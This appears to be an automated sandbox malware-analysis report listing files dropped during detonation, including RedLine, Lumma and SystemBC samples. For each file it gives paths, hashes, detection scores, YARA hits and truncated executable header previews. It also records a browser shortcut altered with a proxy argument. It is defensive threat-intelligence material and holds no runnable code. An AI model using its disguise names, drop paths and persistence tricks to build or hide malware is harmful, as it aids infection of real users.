SHA-512:	9F9230C58DDB8F029421A494220023253D725105AC2575D4ECD818C139DFAF77C7D559C58B66D764D78F3FFA19296F05AF6A5D02F795B22512E6979671F2D745
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Joe Sandbox View:	Filename: zTMEFv0Dh3.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d.....]f.........."...........R......{.........@.............................@............`.................................................h...d...........`....+...........0..................................(... ...8............ ..h............................text.............................. ..`.rdata..PC..........................@..@.data.....R.. ......................@....pdata........T.....................@..@.00cfg........T.....................@..@.tls......... T.....................@....\|Q+....C.v..0T..................... ..`.=S+....P.... ......................@....g<7....h....0......................`..h.reloc.......0......................@..B........................................................................................................................................................................................................................

C:\ProgramData\okili\peombdb.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	5.872411715760397
Encrypted:	false
SSDEEP:	384:rC+AHNZw/WnlrobdglGbLMoy+yG+yir1dV:r0gklrydgQP1yO67V
MD5:	C661A77C31F83C413A96B5537AD31989
SHA1:	8A5A47E39A9EFA9DC4DE447D2AE4CD5E375E3557
SHA-256:	CC5BB638CB34CBD386A906B7708EB62E05E3FC991A20BD060E1D84F722D29FF1
SHA-512:	B86E45D36D8566B51F932F660EE9C3D79CEA1A2EB34A9F7DA7B2CCC5E50C74F319E8005E43D719C5722EC148DDDDF1351A7F9EDC430888E572B3884D1610B1AA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_SystemBC, Description: Yara detected SystemBC, Source: C:\ProgramData\okili\peombdb.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Joe Sandbox View:	Filename: cbIcBAgY5W.exe, Detection: malicious, Browse Filename: td2RgV6HyP.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]..r..o!..o!..o!..\|!..o!..}!..o!Rich..o!................PE..L.....Z].....................................@....@..........................`..............................................\|A.......................................................................................@..\|............................text....-.......................... ..`.rdata.......@.......2..............@..@.data...,....P.......<..............@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\Desktop\Google Chrome.lnk

Download File

Process:	C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Thu Oct 5 10:09:33 2023, atime=Mon Oct 2 20:46:56 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2104
Entropy (8bit):	3.464177200417892
Encrypted:	false
SSDEEP:	48:8SNd4TUCreRYrnvPdAKRkdAGdAKRFdAKRN:8S4R
MD5:	78194E34880FE1B19CE5F78556C7E768
SHA1:	9FB3A47C5B4A827FFB8D1F2F45D63A78B3148352
SHA-256:	AB7A62932143295647DEB82A60DEE775F1C207F28AE28A988DB0CE83D99DC439
SHA-512:	2448E5C880F5AEEEEFCB8F42599B6A4EDCBE1DF8B2C5DFBB4FC569E4827CA8F6F957E4A41D998CD5239C7A6FBB82A3F468FAB483194718FE2551872674085CE3
Malicious:	false
Preview:	L..................F.@.. ......,.....oyk\|...>'..y... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....EWXX..PROGRA~1..t......O.IEW.Y....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VEWgV....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.V..Chrome..>......CW.VEW.V....M.....................g.u.C.h.r.o.m.e.....`.1.....EW.V..APPLIC~1..H......CW.VEW.V..........................g.u.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.BW. .chrome.exe..F......CW.VEW(Y.............................c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.;.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.!.-.-.p.r.o.x.y.-.s.e.r.v.e.r

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\One.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\configurationValue\One.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\redline123123.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3094
Entropy (8bit):	5.33145931749415
Encrypted:	false
SSDEEP:	96:Pq5qHwCYqh3oPtI6eqzxP0aymTqdqlq7qqjqc85VD:Pq5qHwCYqh3qtI6eqzxP0atTqdqlq7qV
MD5:	2A56468A7C0F324A42EA599BF0511FAF
SHA1:	404B343A86EDEDF5B908D7359EB8AA957D1D4333
SHA-256:	6398E0BD46082BBC30008BC72A2BA092E0A1269052153D343AA40F935C59957C
SHA-512:	19B79181C40AA51C7ECEFCD4C9ED42D5BA19EA493AE99654D3A763EA9B21B1ABE5B5739AAC425E461609E1165BCEA749CFB997DE0D35303B4CF2A29BDEF30B17
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\svhoost.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3274
Entropy (8bit):	5.3318368586986695
Encrypted:	false
SSDEEP:	96:Pq5qHwCYqh3oPtI6eqzxP0aymRLKTqdqlq7qqjqcEZ5D:Pq5qHwCYqh3qtI6eqzxP0at9KTqdqlqY
MD5:	0B2E58EF6402AD69025B36C36D16B67F
SHA1:	5ECC642327EF5E6A54B7918A4BD7B46A512BF926
SHA-256:	4B0FB8EECEAD6C835CED9E06F47D9021C2BCDB196F2D60A96FEE09391752C2D7
SHA-512:	1464106CEC5E264F8CEA7B7FF03C887DA5192A976FBC9369FC60A480A7B9DB0ED1956EFCE6FFAD2E40A790BD51FD27BB037256964BC7B4B2DA6D4D5C6B267FA1
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\lrthijawd[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	920370
Entropy (8bit):	6.4722573340019895
Encrypted:	false
SSDEEP:	24576:juDXTIGaPhEYzUzA0amuDXTIGaPhEYzUzA0bnl:KDjlabwz9aDjlabwz9rl
MD5:	1B1ECD323162C054864B63ADA693CD71
SHA1:	333A67545A5D1AAD4D73A3501F7152B4529B6B3E
SHA-256:	902337BBF17AC4E015E03D12E79B60B8DD5A8362496DA3291A39E9124C58D9FF
SHA-512:	F1776B6A457108F10CA940CE02CE98B73404F5CF18FCCEE4977024CFAF74D7F48666D4DA9BE1BEE27531525E276CB8CFADBA39B0C81E0FD8CBE42F7672F45B71
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$.2.`.\.`.\.`.\..y..h.\..y....\..y..m.\.....b.\...X.r.\..._.j.\...Y.Y.\.i..i.\.i..b.\.i..g.\.`.].C.\..Y.R.\..\.a.\...a.\..^.a.\.Rich`.\.........PE..d...#.@f.........."....!.h.....................@..........................................`.............................................4......P.......\|.......l0..............p....6..T....................7..(......@....................... ....................text...ng.......h.................. ..`.rdata...(.......*...l..............@..@.data...\...........................@....pdata..l0.......2..................@..@.didat..`...........................@..._RDATA..\...........................@..@.rsrc...\|...........................@..@.reloc..p...........................@..B........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\redline123123[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	304128
Entropy (8bit):	5.030239624101417
Encrypted:	false
SSDEEP:	3072:0qFFrqwIOGTNyHESF9D4L/aFWdE4A6CbAhdZsRTZRqHIccZqf7D34leqiOLCbBOR:fBIOG6a/aEd6RTZwBcZqf7DIvL
MD5:	0EFD5136528869A8EA1A37C5059D706E
SHA1:	3593BEC29DBFD333A5A3A4AD2485A94982BBF713
SHA-256:	7C21C1F3063BA963818542036A50F62AC7494AD422E7088897B55C61306EC74E
SHA-512:	4AC391812634107E4A4318C454A19E7C34ABFC1F97ACC9BCD0FAC9A92C372E5EBFE809E5C433479142537762ED633564BC690B38FC268B169498D6A54249E3FE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\redline123123[1].exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....y...............0................. ........@.. ....................................@.....................................O...................................l................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\judit[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	11256832
Entropy (8bit):	7.99753358922733
Encrypted:	true
SSDEEP:	196608:JYPBUPXmkw/NHIAj3DxH9pIKwp4+WY6Z0sU+FNuQ4zOZ+1ak3Yzb5:JYpe25NHIAj3D1rf+WYwUaMrz5aP/
MD5:	C09FF1273B09CB1F9C7698ED147BF22E
SHA1:	5634AEC5671C4FD565694AA12CD3BF11758675D2
SHA-256:	BF8CE6BB537881386FACFE6C1F9003812B985CBC4B9E9ADDD39E102449868D92
SHA-512:	E8F19B432DC3BE9A6138D6A2F79521599087466D1C55A49D73600C876508AB307A6E65694E0EFFB5B705FDECDD0E201F588C8D5C3767FE9AE0B8581C318CADAC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....OXf...............).......................@.............................P............`... ..............................................P..........(.......(............@..............................@...(...................`S...............................text...8...........................`..`.data...............................@....rdata..P+.......,..................@..@.eh_fram............................@....pdata..(...........................@..@.xdata....... ......................@..@.bss.........0...........................idata.......P......................@....CRT....`....`......................@....tls.........p......................@....rsrc...(...........................@..@.reloc.......@.....................@..B................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\lumma123[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	511488
Entropy (8bit):	7.662694967023767
Encrypted:	false
SSDEEP:	12288:RlY3R4zdWR5YkPebLhYWT3+Kw6RDubFagn8H4:Rleqz3kW1KKlRsw
MD5:	5161D6C2AF56A358E4D00D3D50B3CAFB
SHA1:	0C506AE0B84539524BA32551F2F297340692C72A
SHA-256:	7AA5344AAB15B3FB2355C59E09B7071A6A0A12EC1A5828367ECB7E9F926FE765
SHA-512:	C981AAFB0E901838B1CCACDA32F9B026995D5FD8CBED6590F2B3DD1178A2751065194A872C22CF24475EAF963C464916E33DD0FC620723D79B7F25D0E5041441
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S................................?......?.............h...?..B...<......<....Rich...................PE..L...JKXf...............'.8.........."s.......P....@.......................................@.....................................<...................................................................X...@............P..d............................text............0.................. ..`.BSS....c....@.......4.............. ..`.rdata.......P.......<..............@..@.data...............................@....reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\gold[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1264128
Entropy (8bit):	6.482350154834005
Encrypted:	false
SSDEEP:	24576:i3KN/uUnwZcPggVmmNp7c/8B2LF8jfjiKriA4BthZ:i3KDwZqggVmmH7F258jfjiKr/4BB
MD5:	0B7E08A8268A6D413A322FF62D389BF9
SHA1:	E04B849CC01779FE256744AD31562ACA833A82C1
SHA-256:	D23A10B3FF0C565EA8EE7F54BCDED0582E1E621EBAD69D4523D6746F6D8E0E65
SHA-512:	3D226673E30BBBC27E0A5A6C64BF81ECA475C697486B20141DF7975BEF97901D4865B88F41937F5E3DD00B437F24F91493F80CB69AA366B7A49CD17B26197BA4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........>.._..._..._...-..._...-..y_...-..._......_......_...-..._..._.._....._..&..._..&..._..Rich._..........................PE..L.....Sf...............'.............2............@.......................................@.....................................<............................@..8I...~..8...........................(}..@............................................text....}.......~.................. ..`.bsS....N........................... ..`.rdata...O.......P..................@..@.data...............................@....idata..d...........................@..@.00cfg.......0......................@..@.reloc...W...@...X..................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\services64[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	17697280
Entropy (8bit):	7.908254163260824
Encrypted:	false
SSDEEP:	393216:VqXwsD/P9ME9hCb4B6+SY34VAw+56VbaK5P5jH7s:VqX/DDb24xt4VF46V+Kp5T7
MD5:	C8A50A6F1F73DF72DE866F6131346E69
SHA1:	37D99D5A8254CEAD586931F8B0C9B4CF031E0B4D
SHA-256:	59E6A5009CE5E9547078DB7F964BB8FC10EE999DD35B7E9243F119DB8337AA8D
SHA-512:	9F9230C58DDB8F029421A494220023253D725105AC2575D4ECD818C139DFAF77C7D559C58B66D764D78F3FFA19296F05AF6A5D02F795B22512E6979671F2D745
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d.....]f.........."...........R......{.........@.............................@............`.................................................h...d...........`....+...........0..................................(... ...8............ ..h............................text.............................. ..`.rdata..PC..........................@..@.data.....R.. ......................@....pdata........T.....................@..@.00cfg........T.....................@..@.tls......... T.....................@....\|Q+....C.v..0T..................... ..`.=S+....P.... ......................@....g<7....h....0......................`..h.reloc.......0......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\upd[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1834536
Entropy (8bit):	7.954771120076634
Encrypted:	false
SSDEEP:	24576:uVKlwZW7rdhSklldluAi8XBBv3b1bNtFPEh8OyPe+ZkGRACQX48n9pJSQ2KxLqYV:LlwZEDSWercBvB7xEdr2dRqucwcr
MD5:	E8A7D0C6DEDCE0D4A403908A29273D43
SHA1:	8289C35DABAEE32F61C74DE6A4E8308DC98EB075
SHA-256:	672F24842AEB72D7BD8D64E78AABA5F3A953409CE21CFE97D3A80E7EF67F232A
SHA-512:	C8BF2F42F7BCF6F6B752BA5165C57EE99D4B31D5BA48CE1C2651AFDB8BC37A14F392253F3DAA0E811116D11D4C9175DC55CFB1BAAC0C30A71A18E1DF17E73770
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........#.q.p.q.p.q.p$..q.q.p$..q^q.p$..q.q.p$..q.q.p.q.p.q.p5.q.q.p5.q.q.p5.q.q.p..q.q.p..q.q.pRich.q.p................PE..L.....\f...............'.8..........Ys.......P....@.......................................@.................................X...(.......................(&......,... ...............................`...@............P..T............................text..../.......0.................. ..`.BSs.........@.......4.............. ..`.rdata.......P.......<..............@..@.data...............................@....reloc..,...........................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	11256832
Entropy (8bit):	7.99753358922733
Encrypted:	true
SSDEEP:	196608:JYPBUPXmkw/NHIAj3DxH9pIKwp4+WY6Z0sU+FNuQ4zOZ+1ak3Yzb5:JYpe25NHIAj3D1rf+WYwUaMrz5aP/
MD5:	C09FF1273B09CB1F9C7698ED147BF22E
SHA1:	5634AEC5671C4FD565694AA12CD3BF11758675D2
SHA-256:	BF8CE6BB537881386FACFE6C1F9003812B985CBC4B9E9ADDD39E102449868D92
SHA-512:	E8F19B432DC3BE9A6138D6A2F79521599087466D1C55A49D73600C876508AB307A6E65694E0EFFB5B705FDECDD0E201F588C8D5C3767FE9AE0B8581C318CADAC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....OXf...............).......................@.............................P............`... ..............................................P..........(.......(............@..............................@...(...................`S...............................text...8...........................`..`.data...............................@....rdata..P+.......,..................@..@.eh_fram............................@....pdata..(...........................@..@.xdata....... ......................@..@.bss.........0...........................idata.......P......................@....CRT....`....`......................@....tls.........p......................@....rsrc...(...........................@..@.reloc.......@.....................@..B................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000004001\gold.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1264128
Entropy (8bit):	6.482350154834005
Encrypted:	false
SSDEEP:	24576:i3KN/uUnwZcPggVmmNp7c/8B2LF8jfjiKriA4BthZ:i3KDwZqggVmmH7F258jfjiKr/4BB
MD5:	0B7E08A8268A6D413A322FF62D389BF9
SHA1:	E04B849CC01779FE256744AD31562ACA833A82C1
SHA-256:	D23A10B3FF0C565EA8EE7F54BCDED0582E1E621EBAD69D4523D6746F6D8E0E65
SHA-512:	3D226673E30BBBC27E0A5A6C64BF81ECA475C697486B20141DF7975BEF97901D4865B88F41937F5E3DD00B437F24F91493F80CB69AA366B7A49CD17B26197BA4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........>.._..._..._...-..._...-..y_...-..._......_......_...-..._..._.._....._..&..._..&..._..Rich._..........................PE..L.....Sf...............'.............2............@.......................................@.....................................<............................@..8I...~..8...........................(}..@............................................text....}.......~.................. ..`.bsS....N........................... ..`.rdata...O.......P..................@..@.data...............................@....idata..d...........................@..@.00cfg.......0......................@..@.reloc...W...@...X..................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000005001\judit.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	11256832
Entropy (8bit):	7.99753358922733
Encrypted:	true
SSDEEP:	196608:JYPBUPXmkw/NHIAj3DxH9pIKwp4+WY6Z0sU+FNuQ4zOZ+1ak3Yzb5:JYpe25NHIAj3D1rf+WYwUaMrz5aP/
MD5:	C09FF1273B09CB1F9C7698ED147BF22E
SHA1:	5634AEC5671C4FD565694AA12CD3BF11758675D2
SHA-256:	BF8CE6BB537881386FACFE6C1F9003812B985CBC4B9E9ADDD39E102449868D92
SHA-512:	E8F19B432DC3BE9A6138D6A2F79521599087466D1C55A49D73600C876508AB307A6E65694E0EFFB5B705FDECDD0E201F588C8D5C3767FE9AE0B8581C318CADAC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....OXf...............).......................@.............................P............`... ..............................................P..........(.......(............@..............................@...(...................`S...............................text...8...........................`..`.data...............................@....rdata..P+.......,..................@..@.eh_fram............................@....pdata..(...........................@..@.xdata....... ......................@..@.bss.........0...........................idata.......P......................@....CRT....`....`......................@....tls.........p......................@....rsrc...(...........................@..@.reloc.......@.....................@..B................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	304128
Entropy (8bit):	5.030239624101417
Encrypted:	false
SSDEEP:	3072:0qFFrqwIOGTNyHESF9D4L/aFWdE4A6CbAhdZsRTZRqHIccZqf7D34leqiOLCbBOR:fBIOG6a/aEd6RTZwBcZqf7DIvL
MD5:	0EFD5136528869A8EA1A37C5059D706E
SHA1:	3593BEC29DBFD333A5A3A4AD2485A94982BBF713
SHA-256:	7C21C1F3063BA963818542036A50F62AC7494AD422E7088897B55C61306EC74E
SHA-512:	4AC391812634107E4A4318C454A19E7C34ABFC1F97ACC9BCD0FAC9A92C372E5EBFE809E5C433479142537762ED633564BC690B38FC268B169498D6A54249E3FE
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....y...............0................. ........@.. ....................................@.....................................O...................................l................................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000008001\upd.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1834536
Entropy (8bit):	7.954771120076634
Encrypted:	false
SSDEEP:	24576:uVKlwZW7rdhSklldluAi8XBBv3b1bNtFPEh8OyPe+ZkGRACQX48n9pJSQ2KxLqYV:LlwZEDSWercBvB7xEdr2dRqucwcr
MD5:	E8A7D0C6DEDCE0D4A403908A29273D43
SHA1:	8289C35DABAEE32F61C74DE6A4E8308DC98EB075
SHA-256:	672F24842AEB72D7BD8D64E78AABA5F3A953409CE21CFE97D3A80E7EF67F232A
SHA-512:	C8BF2F42F7BCF6F6B752BA5165C57EE99D4B31D5BA48CE1C2651AFDB8BC37A14F392253F3DAA0E811116D11D4C9175DC55CFB1BAAC0C30A71A18E1DF17E73770
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........#.q.p.q.p.q.p$..q.q.p$..q^q.p$..q.q.p$..q.q.p.q.p.q.p5.q.q.p5.q.q.p5.q.q.p..q.q.p..q.q.pRich.q.p................PE..L.....\f...............'.8..........Ys.......P....@.......................................@.................................X...(.......................(&......,... ...............................`...@............P..T............................text..../.......0.................. ..`.BSs.........@.......4.............. ..`.rdata.......P.......<..............@..@.data...............................@....reloc..,...........................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe

Download File

